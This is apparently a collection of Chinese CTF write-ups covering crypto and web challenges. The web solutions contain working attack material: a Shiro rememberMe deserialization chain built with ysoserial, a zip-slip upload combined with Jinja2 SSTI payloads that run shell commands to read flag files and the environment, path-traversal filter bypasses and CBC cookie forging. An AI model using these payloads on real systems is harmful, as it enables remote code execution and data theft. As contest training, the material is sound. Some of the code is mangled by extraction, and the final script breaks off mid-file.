|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 某开发者实现了一套简易RSA加密系统,为简化代码,程序使用同一个RSA模数 n,对同一份明文数据采用两组不同的公钥指数进行二次加密。 程序在数据存储阶段出现严重BUG:第一次加密生成的密文 c1 高16比特被意外置零,仅保留低位有效数据,获取到的c1为残缺损坏密文;第二次加密的密文c2完整无损坏。 已知两组加密指数 e1、e2 互质,可通过数论贝祖定理结合共模RSA特性,修复残缺密文并还原原始明文。 解密得到的原始明文即为flag。 已知参数 e1 = 17 e2 = 65537 n = 0xa7ee7292767092b8f5c407211df0cc2e9fef081985c5872a888c39ecbc4db407 c1_damaged= 0x6a25cb19d24d8afbc12ac5fc5250fa75b54a2e2b49f7cadc8ea0cee60217543 c2 = 0x2735e64f4b28741b4cec6641c531f31a39b01f9633e951f0323cd70085342f8e 一、题目概述 加密场景 同一个明文mm 使用相同的模数 n n 但不同的公钥指数 e1,e2e 1,e 2进行加密: {c1≡me1(modn)c2≡me2(modn){c 1≡m e 1(modn )c 2≡m e 2(modn ) 已知参数 |-----------|--------------------------------------------------------------------| | 参数 | 值 | | nn | 0xa7ee7292767092b8f5c407211df0cc2e9fef081985c5872a888c39ecbc4db407 | | c1c1 | 0x6a25cb19d24d8afbc12ac5fc5250fa75b54a2e2b49f7cadc8ea0cee60217543 | | c2c2 | 0x2735e64f4b28741b4cec6641c531f31a39b01f9633e951f0323cd70085342f8e | | e1e1 | 17 | | e2e2 | 65537 | 核心条件 gcd(e1,e2)=1gcd(e 1,e 2)=1 *** ** * ** *** 二、共模攻击原理 数学推导 由于gcd(e1,e2)=1gcd(e 1,e 2)=1,由扩展欧几里得算法 ,存在整数a,ba ,b 使得: a⋅e1+b⋅e2=1a ⋅e 1+b ⋅e 2=1 对于密文: c1a⋅c2b≡(me1)a⋅(me2)b≡mae1+be2≡m1≡m(modn)c 1a ⋅c 2b ≡(m e 1)a ⋅(m e 2)b ≡m ae 1+be 2≡m 1≡m (modn ) 本题的扩展欧几里得结果 python from sympy import gcdexa, b, g = gcdex(e1, e2)# a = 30841, b = -8, g = 1 即: 30841×17+(−8)×65537=130841×17+(−8)×65537=1 验证: 30841×17=524297,(−8)×65537=−52429630841×17=524297,(−8)×65537=−524296524297−524296=1✓524297−524296=1✓ *** ** * ** *** 三、解密公式 由于b=−8b =−8为负数,需要使用模逆元: m≡c1a⋅c2b≡c130841⋅c2−8(modn)m ≡c 1a ⋅c 2b ≡c 130841⋅c 2−8(modn ) 即: m≡c130841⋅(c2−1)8(modn)m ≡c 130841⋅(c 2−1)8(modn ) *** ** * ** *** 四、完整解密脚本 python #!/usr/bin/env python3# -*- coding: utf-8 -*- """共模 RSA 攻击解密脚本"""from sympy import gcdex**# ============ 已知参数 ============** n = 0xa7ee7292767092b8f5c407211df0cc2e9fef081985c5872a888c39ecbc4db407c1 = 0x6a25cb19d24d8afbc12ac5fc5250fa75b54a2e2b49f7cadc8ea0cee60217543c2 = 0x2735e64f4b28741b4cec6641c531f31a39b01f9633e951f0323cd70085342f8ee1 = 17e2 = 65537**# ============ 扩展欧几里得 ============** a, b, g = gcdex(e1, e2)print(f"\* {e1} * {a} + {e2} * {b} = {g}")# 确保 gcd = 1 assert g == 1, "gcd(e1, e2) != 1,无法进行共模攻击"# ============ 恢复明文 ============# m ≡ c1^a * c2^b (mod n)# 由于 b 为负数,使用模逆元 inv_c2 = pow(c2, -1, n) # c2 的模逆元 m = (pow(c1, a, n) * pow(inv_c2, -b, n)) % n**# 注意:-b = 8# ============ 转换为字符串 ============** flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')flag = flag_bytes.decode('utf-8')print(f"+ 明文: {flag}") *** ** * ** *** 五、运行结果 text \* 17 * 30841 + 65537 * -8 = 1+ 明文: flag{5up3r_53cr3t_k3y_2026} |
2-5 cokecoke
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 加密函数 cokecoke python def cokecoke(byte_string): base_num = 0x25ce7bcc2f1ca7501800c86b77de214c x = 0x00000000010000000000000000000147 MOD = 1 << 128 mask = MOD - 1 state = base_num for b in byte_string: state ^= b state = (state * x) & mask return state 已知条件 * 输入是6 字节 的十六进制字符串 * * 目标输出(coke 值): * text * coke = 177830285821087443523022595911573187680 * * 需要找到满足cokecoke(input) == coke的 6 字节输入 * *** ** * ** *** 二、解法原理 1. 函数结构分析 对于每个字节b,状态更新为: state = ((state ^ b) * x) mod 2^128 乘法是模2^128的,且x是奇数(因为最低位为 1),所以存在模逆元。 2. 逆向步骤 定义: * 正向步骤:forward(state, b) = ((state ^ b) * x) & mask * * 逆向步骤:reverse(state, b) = ((state * inv_x) & mask) ^ b * 其中: inv_x = pow(x, -1, 2^128) 3. Meet-in-the-Middle 策略 由于输入只有 6 字节,可分割为: * 前 3 字节 :从初始状态base_num正向计算 3 步 * * 后 3 字节 :从目标值coke逆向计算 3 步 * 如果前后中间状态匹配,则找到完整输入。 *** ** * ** *** 三、核心代码解析 1. 前向计算(前 3 字节) forward_set = set()for b1 in range(256): s1 = forward_step(base_num, b1) for b2 in range(256): s2 = forward_step(s1, b2) for b3 in range(256): s3 = forward_step(s2, b3) forward_set.add(s3) # 存储所有可能的中间状态 2. 后向搜索(后 3 字节) matches = \[\]for b6 in range(256): s5 = reverse_step(coke, b6) for b5 in range(256): s4 = reverse_step(s5, b5) for b4 in range(256): s3 = reverse_step(s4, b4) if s3 in forward_set: # 找到匹配! matches.append((s3, b4, b5, b6)) 3. 还原前三字节 当找到匹配的中间状态s3_target和后三字节b4, b5, b6后,再暴力枚举前三字节,验证是否能到达该中间状态。 *** ** * ** *** 四、运行结果 + 前向集合大小: 16777216+ 找到匹配数量: 1+ 中间状态: 117495612679760183206048317183657018223+ 后三字节: e7 19 2d+ 成功找到 6 字节明文!+ 字节列表: 88, 179, 6, 231, 25, 45+ 十六进制: 58b306e7192d计算结果: 177830285821087443523022595911573187680目标值 : 177830285821087443523022595911573187680验证通过: True>>> 请把下面这个十六进制字符串作为输入提交:58b306e7192d flag{58b306e7192d} |
2-6 告别季
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 一、题目概述 加密代码 python def encrypt(plain: bytes): p = random_prime(2**768 - 1, lbound=2**767) q = random_prime(2**768 - 1, lbound=2**767) N = p * q # 约 1536 位 e = 3 m = bytes_to_long(plain) c = pow(m, e, N) return N, c 已知信息 * 公钥指数 :e=3e =3 * * 模数 N :1536 位(约 463 位十进制数字) * * 密文 c :已给出 * * 明文前缀 :flag{women_yaozenyangshuochu_XXXXX * 关键观察 * 明文 flag 约40 字节 =320 位 * * 因此m3m 3约960 位 * * 而NN 约1536 位 * * 所以 m3<N m 3 < N ,加密时没有发生模运算! * 即: c=m3 mod N=m3c =m 3modN =m 3 *** ** * ** *** 二、攻击原理 数学基础 当me<Nm e <N 时: c=mec =m e 因此可以直接对密文开ee 次方: m=cem =e c 本题情况 * e=3e =3 * * m3<Nm 3<N 成立 * 直接求cc 的整数立方根即可恢复明文 * *** ** * ** *** #!/usr/bin/env python3# -*- coding: utf-8 -*- from mpmath import mp, mpf, cbrt**# 设置足够高的精度** mp.dps = 1000**# 已知数据** c = 37200871830677789908396551249543062637188978192630580181459724500444997949046932604271895351388763870279778575053912860012758908346269536765620259753461261401130192826626734845716857635735893923996366934581919022064045623345585748996968570735079180805789002573008815409176075596901N = 971526067174991169679696456434821729973187123027741275504337474512585716650826461119754382020489780184290793163790720389126490701396837086795335542492260358658017071627997659281626204427834281737417188010833733730259577069442535485745361542760876968648037952839760156391047201575079529021709692795232677329850374868576818409695104319500242994663959796587376049906668947949285879511875594604412605889711444129835238942935886135594891431274018917037186730218192889**# 求精确立方根** m = int(cbrt(mpf(c)))# 验证 assert m**3 == cassert m**3 < N**# 转换为字节** flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')flag = flag_bytes.decode()print(f"明文: {flag}") *** ** * ** *** 四、运行结果 明文: flag{women_yaozenyangshuochu_zaijianne} |
第三部分:WEB
3-1 php反序列
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 根据源代码给出账号密码:root/root 然后进入下一个页面 <?php session_start(); error_reporting(0); if (empty(_SESSION\['logged_in'\])) { header('Location: index.php'); exit; } include __DIR__ . '/flag.php'; class AuditTicket { public role = 'guest'; public function __destruct() { global flag; if (this->role === 'admin') { echo '<h3 style="color:green">反序列化成功!</h3>'; echo '<p>' . htmlspecialchars(flag, ENT_QUOTES, 'UTF-8') . '\
3-2 打赏
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 打赏第一个的时候就出来一个假的flag flag{Fake_Pay_No_Money_2026_HTML} 查看源代码寻找信息 然后解码base32得到下一个目录: 进入http://1dee8f16-f262-4bb3-98e5-3f377345265a.game.polarctf.com:8090/ctf123.php <?php highlight_file(FILE); error_reporting(0); include DIR . '/flag.php'; echo "<h2>Welcome</h2>"; function stop(msg) { die(htmlspecialchars(msg, ENT_QUOTES, 'UTF-8') . "<br/>\n"); } role = _COOKIE'role' ?? 'guest'; if (role !== 'auditor') { stop('第一关:你还不是 auditor'); } echo "第一关通过\
\\n"; route = _GET\['route'\] ?? ''; if (preg_match('/admin/i', route)) { stop('第二关:检测到敏感路由 admin'); } route = urldecode(route); if (route !== 'admin/panel') { stop('第二关:没有进入管理路由'); } echo "第二关通过\
\\n"; echo "恭喜通关!\
\\n"; echo htmlspecialchars(flag, ENT_QUOTES, 'UTF-8'); 最后/ctf123.php?route=%2561dmin/panel加上 role=auditor 得到flag:flag{1cbb3b88acb636433aa7b402b9096481} |
3-3 迷宫
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 脚本// ============ 完整的BFS自动寻路 + 多种步数尝试 ============ // 1. 获取迷宫数据 async function getMazeData() { const resp = await fetch('/api/state'); if (!resp.ok) { console.error('❌ 获取迷宫数据失败'); return null; } const data = await resp.json(); console.log('✅ 迷宫数据获取成功'); return data; } // 2. BFS寻路算法 function bfsFindPath(mazeData) { const { maze, width, height, position } = mazeData; const startX, startY = position; const endX = width - 1; const endY = height - 1; // 如果已经在终点 if (startX === endX && startY === endY) { console.log('�� 已经在终点!'); return \[\]; } const dirMap = { 'N': 0, -1, 'S': 0, 1, 'W': -1, 0, 'E': 1, 0 }; const queue = \[startX, startY]; const visited = new Set(); const parent = {}; const startKey = `{startX},{startY}`; visited.add(startKey); console.log(`�� 起点: ({startX}, {startY})`); console.log(`�� 终点: ({endX}, {endY})`); while (queue.length > 0) { const x, y = queue.shift(); const currentKey = `{x},{y}`; if (x === endX && y === endY) { // 重建路径 const path = \[\]; let key = currentKey; while (key !== startKey) { path.unshift(parentkey); key = parentkey.from; } console.log(`✅ 找到路径,共 {path.length} 步\`); return path; } const cell = maze\[y\]\[x\]; const directions = { 'N': !cell.N, 'S': !cell.S, 'W': !cell.W, 'E': !cell.E }; for (const \[dir, canMove\] of Object.entries(directions)) { if (canMove) { const \[dx, dy\] = dirMap\[dir\]; const nx = x + dx; const ny = y + dy; const key = \`{nx},{ny}\`; if (!visited.has(key) \&\& nx \>= 0 \&\& nx \< width \&\& ny \>= 0 \&\& ny \< height) { visited.add(key); parent\[key\] = { from: currentKey, dir: dir }; queue.push(\[nx, ny\]); } } } } console.log('❌ 无法找到路径!'); return null; } // 3. 自动移动函数 async function autoMove(path) { if (!path \|\| path.length === 0) { console.log('⚠️ 无需移动'); return true; } console.log(\`�� 开始自动移动,共 {path.length} 步`); for (let i = 0; i < path.length; i++) { const step = pathi; const dir = step.dir; console.log(` ${i+1}/${path.length} 移动: {dir}\`); try { const resp = await fetch('/api/move', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ direction: dir }) }); const data = await resp.json(); if (!data.valid) { console.log(\` ❌ 移动失败:\`, data); return false; } // 更新页面状态 if (typeof px !== 'undefined' \&\& typeof py !== 'undefined') { px = data.x; py = data.y; if (typeof draw === 'function') draw(); if (typeof updateUI === 'function') { if (typeof steps !== 'undefined') steps++; updateUI(); } } } catch (error) { console.error(\` ❌ 请求错误:\`, error); return false; } await new Promise(r =\> setTimeout(r, 150)); } console.log('✅ 移动完成!'); return true; } // 4. 主函数:到达终点并尝试各种步数 async function tryAllStepsOnExit() { console.log('�� ===== BFS自动寻路 + Flag尝试 ====='); // 获取迷宫数据 const mazeData = await getMazeData(); if (!mazeData) { console.error('❌ 无法获取迷宫数据'); return; } // BFS寻路 const path = bfsFindPath(mazeData); if (!path) { console.error('❌ BFS寻路失败'); return; } // 如果不在终点,自动移动 if (path.length \> 0) { const success = await autoMove(path); if (!success) { console.error('❌ 自动移动失败'); return; } } // 确认是否到达终点 const finalState = await getMazeData(); const \[finalX, finalY\] = finalState.position; const endX = finalState.width - 1; const endY = finalState.height - 1; if (finalX !== endX \|\| finalY !== endY) { console.log(\`❌ 未到达终点,当前位置: ({finalX}, {finalY})\`); return; } console.log('�� 成功到达终点!'); console.log('\\n�� 尝试各种步数领取flag...'); // 尝试各种步数 const testSteps = \[0, 1, -1, 999, 9999, -999, 100, 50, path.length\]; for (const step of testSteps) { console.log(\`\\n�� 尝试步数: {step}`); try { const resp = await fetch('/api/flag', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ steps: step }) }); const data = await resp.json(); console.log(` 响应:`, data); if (data.success || data.flag) { console.log('\n������ 成功获得Flag!'); console.log('�� Flag:', data.flag || data); // 显示在页面上 const msgEl = document.getElementById('msg'); if (msgEl) { msgEl.innerHTML = `<span class="win">${data.flag || data.success}</span>`; } // 启用领取按钮 const claimBtn = document.getElementById('claim'); if (claimBtn) claimBtn.disabled = false; return data; } } catch (e) { console.error(` 错误:`, e); } await new Promise(r => setTimeout(r, 100)); } console.log('\n❌ 所有步数尝试失败'); } // ============ 执行 ============ tryAllStepsOnExit();
迷宫只要找到出口就能得到flag flag{60ea82a51c6b240c34b419d0d5be92d6} |
3-4 贪吃蛇
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下:
调用接口然后提交一个很大的分数 Curl:--data '{"score":999999}' 最后就可得到flag: flag{9f5d6c03bd89fa8262a2872234e84800} |
3-5 打地鼠
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 不停打分数增加倒是没用
Repeater 中发送 GET /reset.php → 获取Session Intruder 或 Repeater 连续发送10次 GET /game.php?act=hit 从第10次响应头中复制 X-Flag-Key: cafebabe2024secret Repeater 中发送 GET /?flag_key=cafebabe2024secret GET /?flag_key=cafebabe2024secret(带同一 cookie),响应体末尾: <div class="flag-text">恭喜通关:flag{91d33ff99f483979917c364c73af228a}</div> flag{91d33ff99f483979917c364c73af228a} |
3-6 MiniSite
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 从里面找信息
直接代码审计: <?php //TODO:上线前删掉这行------/sssseeeeccccrrrrreeeetttt别忘了清理 classFileGuard { publicstaticfunctioncheckFile(&page) { whitelist="home.php","about.php","source.php"; if(!isset(page)\|\|!is_string(page)){ echo"youcan'tseeit"; returnfalse; } if(in_array(page,whitelist,true)){ returntrue; } _page=substr( page, 0, strpos(page.'#','#') ); if(in_array(_page,whitelist,true)){ returntrue; } _page=rawurldecode(page); _page=substr( _page, 0, strpos(_page.'#','#') ); if(in_array(_page,whitelist,true)){ returntrue; } echo"youcan'tseeit"; returnfalse; } } if(!empty(_REQUEST\['f'\]) \&\&is_string(_REQUEST'f') &&FileGuard::checkFile(_REQUEST\['f'\]) ){ include_REQUEST'f'; exit; } ?> 最后分析得到:双重编码:%23 被 Apache 解码为 #,PHP 收到的是 source.php#... # 作为截断符:校验时只看 # 之前的内容 → source.php include 解析路径:source.php# 被当作目录,/../../../../ 跳转到根目录 泄露的路径:注释中的 /sssseeeeccccrrrrreeeetttt 是 flag 文件位置 /?f=source.php%23/../../../../sssseeeeccccrrrrreeeetttt 访问得到flag:flag{738d13e76707424bf9857eeba0f2baf5} |
3-7 消消乐
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下:
// 原始代码 if (remaining === 0) { showOverlay('�� 恭喜通关!', true); tryReward(); } // 修改为(强制触发) if (true) { // 或者直接调用 tryReward(); showOverlay('�� 恭喜通关!', true); tryReward(); } 最后 flag{06555a53b8b6e75a5bd6b78d440cac38} |
3- 8 魔法导入器
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下:
<?php classFileViewer { publicpath; publicfunction__toString() { if(this->path&&file_exists(this-\>path)){ returnfile_get_contents(this->path); } return"文件未找到"; } } classWelcome { publicuser; publicfunction__destruct() { echo"\
3- 9 安全笔记
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 一找到/api/debug/env接口
Debug 接口探测 { "shiro_version": "1.7.1", "shiro_cipher_key": "kPH+bIxk5D2deZiIxcaaaA==", "rememberme_cookie": "rememberMe", "gadget_hint": "commons-collections4", "export_root": "/tmp/securenotes/public", "export_url": "/<filename>" } 步骤1:获取 Shiro 密钥 bash curl http://<target>/api/debug/env?action=full 返回: json { "shiro_cipher_key": "kPH+bIxk5D2deZiIxcaaaA==", "export_root": "/tmp/securenotes/public"} *** ** * ** *** 步骤2:生成 CommonsCollections4 gadget bash java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ -jar ysoserial-all.jar CommonsCollections4 "cat /flag > /tmp/securenotes/public/f.txt" > gadget.bin *** ** * ** *** 步骤3:AES-GCM 加密(Shiro 1.7.1 使用 GCM) python import base64import osfrom Crypto.Cipher import AESKEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")with open("gadget.bin", "rb") as f: gadget = f.read()iv = os.urandom(16)cipher = AES.new(KEY, AES.MODE_GCM, nonce=iv)ciphertext, tag = cipher.encrypt_and_digest(gadget)# Shiro 格式:IV + 密文 + Tag payload = base64.b64encode(iv + ciphertext + tag).decode()print(payload) *** ** * ** *** 步骤4:发送 payload 先登录获取 cookie: bash curl -c cookie.txt -X POST -H "Content-Type: application/json" \ -d '{"username":"admin","password":"admin123","rememberMe":true}' \ http://<target>/api/user/login 发送 rememberMe: bash curl -b cookie.txt -b "rememberMe=<payload>" \ http://<target>/api/notes *** ** * ** *** 步骤5:读取结果 curl http://<target>/f.txt
flag{4a0e9dd3-3bcc-4377-8acb-8d5de988378f} |
3- 10 cryweb
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 根据提示只需要把现在的身份换成admin uid=1001&name=ctfer&role=guest&level=1 脚本如下修改ticket import base64 ticket = "g8qphr1o4pGudIANVzaF3QD5Wc237nsjwPExRVQXW1fUY4QR1zJOkycL6psIENJbI6AlP2Q16pb2LUPYZ6bg7w" # urlsafe解码 data = bytearray(base64.urlsafe_b64decode(ticket + "==")) print(f"总长度: {len(data)}") print(f"IV: {data:16.hex()}") print(f"C0: {data16:32.hex()}") # 修改C0的偏移9-13(guest → admin) # guest在明文位置25-29,在块1中的偏移是9 old = b"guest" new = b"admin" print(f"\n修改C0的偏移9-13") for i in range(5): pos = 16 + 9 + i # 25-29 old_val = datapos datapos ^= oldi ^ newi print(f" data{pos}: 0x{old_val:02x} -> 0x{datapos:02x} ({chr(oldi)}->{chr(newi)})") # 编码为URL安全Base64(无padding) new_ticket = base64.urlsafe_b64encode(data).decode().rstrip("=") print(f"\n新ticket: {new_ticket}") print(f"\n使用这个Cookie:") print(f"ticket={new_ticket}") Curl:curl -i "http://a821725f-403a-4d31-92b9-c6a1264e3baa.game.polarctf.com:8090/admin.php" -H "Cookie: ticket=g8qphr1o4pGudIANVzaF3QD5Wc237nsjwPcgTU4NW1fUY4QR1zJOkycL6psIENJbI6AlP2Q16pb2LUPYZ6bg7w" 最后得到:flag{7d3103a9-ccb8-4b38-bef0-8ef3c3e1e512} |
3- 11 预言三问
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下:
不用计算
解得到cookie=78 他说要交流方法不太安全,改成安全的方式,女祭司和预言家是一对,用英语写在数据里 也就是:GET → POST 改用 POST 方法,表单数据 Body 写 priestess=prophet 链接里缺少参数,管理员的值不为一哦 URL 查询参数 加 ?admin=1 最后也就是
或者
最后成功得到flag:flag{f402c430-4b58-4d1c-a2f6-2a6466dac7d1} |
3- 12 guess
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 1. 用户上传ZIP │ ├── manifest.txt (通过验证) └── ../../../templates/memo.html (恶意内容) │ 2. 服务端解压 │ ├── 正确:manifest.txt → /app/uploads/themes/<id>/ └── 恶意:../../../templates/memo.html → /app/templates/memo.html ✅ 覆盖成功 │ 3. 用户访问 /memo │ └── render_template('memo.html') → 执行SSTI payload │ 4. Jinja2解析 │ ├── 识别 {{ }} 表达式 └── 执行 Python 代码 │ 5. 魔术方法链 │ ├── cycler.init.globals → 获取全局命名空间 ├── 'os' → 获取os模块 ├── .popen('env') → 执行系统命令 └── .read() → 读取输出 │ 6. 返回结果 │ └── 环境变量中包含 FLAG 脚本如下 import zipfile import io import requests import re import time # 目标地址 target = "http://90a31c8b-5fa5-46de-8875-9efb81373359.game.polarctf.com:8090" print("=" * 60) print("�� 重新利用 guess 题目漏洞") print("=" * 60) # 禁用代理 session = requests.Session() session.trust_env = False session.proxies = { 'http': None, 'https': None } # 步骤2:检查服务是否正常运行 print("\n+ 检查服务状态...") try: resp = session.get(f'{target}/status', timeout=5) print(f"+ /status 状态: {resp.status_code}") print(f"+ 配置信息:") print(resp.text) except Exception as e: print(f"- 服务未响应: {e}") exit() # 步骤3:创建恶意ZIP print("\n+ 创建恶意ZIP...") # SSTI payload - 读取环境变量 ssti_payload = ''' {{ cycler.init.globals.os.popen('env').read() }} ''' # 同时尝试读取flag文件 ssti_payload2 = ''' {{ cycler.init.globals.os.popen('cat /flag.txt').read() }} {{ cycler.init.globals.os.popen('cat /flag').read() }} {{ config.class.init.globals'os'.popen('cat /flag.txt').read() }} ''' zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # 必须包含 manifest.txt zf.writestr('manifest.txt', 'exploit') # 